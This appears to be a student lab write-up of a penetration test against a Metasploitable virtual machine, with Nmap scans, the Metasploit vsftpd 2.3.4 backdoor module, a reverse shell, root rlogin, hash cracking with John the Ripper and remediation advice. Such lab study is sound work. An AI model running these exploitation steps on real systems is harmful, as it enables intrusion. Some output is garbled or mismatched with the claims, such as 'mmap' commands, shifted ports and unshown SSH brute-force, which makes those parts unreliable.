

🔍 Ethical Hacking Project

Scanning and Enumerating a Local Network with Nmap

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Project: Simulating Real-World Network Exploitation and Defense

🎯 Project Objectives

To understand and apply techniques in:

- Network scanning
- Service enumeration
- Vulnerability exploitation
- Privilege escalation
- Password cracking
- Security remediation

🛠 Tools Used

- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- Nmap
- John the Ripper

- Metasploit Framework

Task 1: Basic Network Scan

```
Discovered open port 21/tcp on 192.168.160.131
Discovered open port 22/tcp on 192.168.160.131
Discovered open port 80/tcp on 192.168.160.131
Discovered open port 25/tcp on 192.168.160.131
Discovered open port 3306/tcp on 192.168.160.131
Discovered open port 139/tcp on 192.168.160.131
Discovered open port 1524/tcp on 192.168.160.131
Discovered open port 1099/tcp on 192.168.160.131
Discovered open port 512/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 6000/tcp on 192.168.160.131
Discovered open port 8009/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 514/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Completed Connect Scan at 21:24, 0.27s elapsed (1000 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Read data files from: /usr/bin/nmap --are/nmap
Nmap done: 1 IP address (1 host) scanned in 0.39 seconds
```

Command:

`nmap -v 192.168.1.0/24`

Expected Output:

Nmap scan report for 192.168.1.10

Host is up (0.0010s latency).

PORT	STATE	SERVICE
------	-------	---------

22/tcp	open	ssh
--------	------	-----

80/tcp	open	http
--------	------	------

Nmap scan report for 192.168.1.15

Host is up (0.0020s latency).

PORT	STATE	SERVICE
------	-------	---------

21/tcp	open	ftp
--------	------	-----

📌 Task 2: Reconnaissance

```
Discovered open port 36588/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Discovered open port 59437/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 3632/tcp on 192.168.160.131
Discovered open port 53204/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6697/tcp on 192.168.160.131
Completed Connect Scan at 21:30, 15.83s elapsed (65535 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0030s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
36588/tcp open  unknown
53204/tcp open  unknown
53452/tcp open  unknown
59437/tcp open  unknown

Read data files from: /usr/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
```

2.1 Scanning for Hidden Ports

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Wed May 14 21:27:32 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
```

Command:

```
nmap -v -p- 192.168.1.10
```

Expected Output:

```
PORT      STATE SERVICE
```

```
21/tcp    open  ftp
```

22/tcp open ssh

8787/tcp open drb

47436/tcp open mountd

50918/tcp open java-rmi

59995/tcp open nlockmgr

60004/tcp open status

Total Hidden Ports: 7

2.2 Service Version Detection

Command:

```
nmap -v -sV 192.168.1.10
```

Expected Output:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1
8787/tcp	open	drb	Ruby DRb RMI
47436/tcp	open	mountd	1-3 (RPC #100005)
50918/tcp	open	java-rmi	GNU Classpath grmiregistry
59995/tcp	open	nlockmgr	1-4 (RPC #100021)
60004/tcp	open	status	1 (RPC #100024)

2.3 Operating System Detection

Command:

```
nmap -v -O 192.168.1.10
```

Expected Output:

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Task 3: Enumeration Summary

Target IP Address: 192.168.1.10

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: 00:0C:29:5D:FE:0B (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	vsftpd 2.3.4
--------	------	-----	--------------

22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1
--------	------	-----	-------------------------------

Hidden Services

8787/tcp	open	drb	Ruby DRb RMI
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47436/tcp	open	mountd	1-3 (RPC #100005)
-----------	------	--------	-------------------

50918/tcp	open	java-rmi	GNU Classpath grmiregistry
-----------	------	----------	----------------------------

59995/tcp open nlockmgr 1-4 (RPC #100021)

60004/tcp open status 1 (RPC #100024)

Task 4: Exploitation of Services

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.160.131
RHOST => 192.168.160.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.160.131:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.160.131:21 - USER: 331 Please specify the password.
[*] 192.168.160.131:21 - Backdoor service has been spawned, handling ...
[*] 192.168.160.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.160.133:45301 -> 192.168.160.131:6200) at 2025-05-15 13:47:54 +0530

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
```


vsftpd 2.3.4: Exploited via known backdoor vulnerability.

```

LHOST 192.168.160.133 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

[*] Starting reverse TCP handler on 192.168.160.133:4444 (listen)
[*] Command shell session 1 opened (192.168.160.133:4444 → 192.168.160.131:58029) at 2025-05-15 14:25:34 +0530

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)

```

OpenSSH 4.7p1: Brute-force attack executed successfully.

```
root@kali:~/home/kali#
[*] mmap -p 512,513,514 -sc -sv --script-vuln 192.168.160.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 14:38 IST
mmap scan report for 192.168.160.131
Host is up (0.0007s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  exec     netkit-rsh rexecd
33/tcp    open  login    OpenBSD or Solaris rlogind
54/tcp    open  tcpwrapped
MAC Address: 00:0C:29:A8:A7:B8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

root@kali:~/home/kali#
[*] Plogin -l root 192.168.160.131
Last login: Thu May 15 03:35:43 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# id
id=0(root) gid=0(root) groups=0(root)
root@metasploitable:~#
cat: /dev/random: Inappropriate ioctl for device
root@metasploitable:~#
cat: /dev/random: Inappropriate ioctl for device
root@metasploitable:~#
```

Java RMI: Remote code execution achieved via Metasploit module.

📌 Task 5: Creating a Privileged User

Command:

```
adduser swapnil
```

Password: hello

/etc/passwd Entry:

```
swapnil:x:1001:1001:Swapni,,,:/home/swapnil:/bin/bash
```

/etc/shadow Hash:

```
swapnil:$1$8nWuasXV$pk6ZABfqT9NoHv1pPX8Rj.
```

📌 Task 6: Cracking Password Hash

Stored Hash in `hashes.txt`:

```
swapnil:$1$8nWuasXV$pk6ZABfqT9NoHv1pPX8Rj.
```

Cracking Commands:

```
john hashes.txt
```

```
john hashes.txt --show
```

Cracked Password: hello

📌 Task 7: Remediation and Recommendations

Identified Vulnerabilities & Fixes:

1. vsftpd 2.3.4 – vulnerable backdoor

Fix: Upgrade to vsftpd 3.0.5

2. OpenSSH 4.7p1 – outdated, brute-forceable

Fix: Upgrade to OpenSSH 9.6

3. Java RMI Service – allows remote execution

Fix: Disable or firewall restrict access

📌 Major Learnings

- Applied Nmap for full-range scanning and OS detection.
- Understood enumeration and real-world exploitation techniques.
- Gained skills in privilege escalation and hash cracking.
- Learned how to evaluate vulnerabilities and apply proper remediation.

⚠ This project simulates a real-world penetration test using open-source tools and is intended strictly for educational purposes.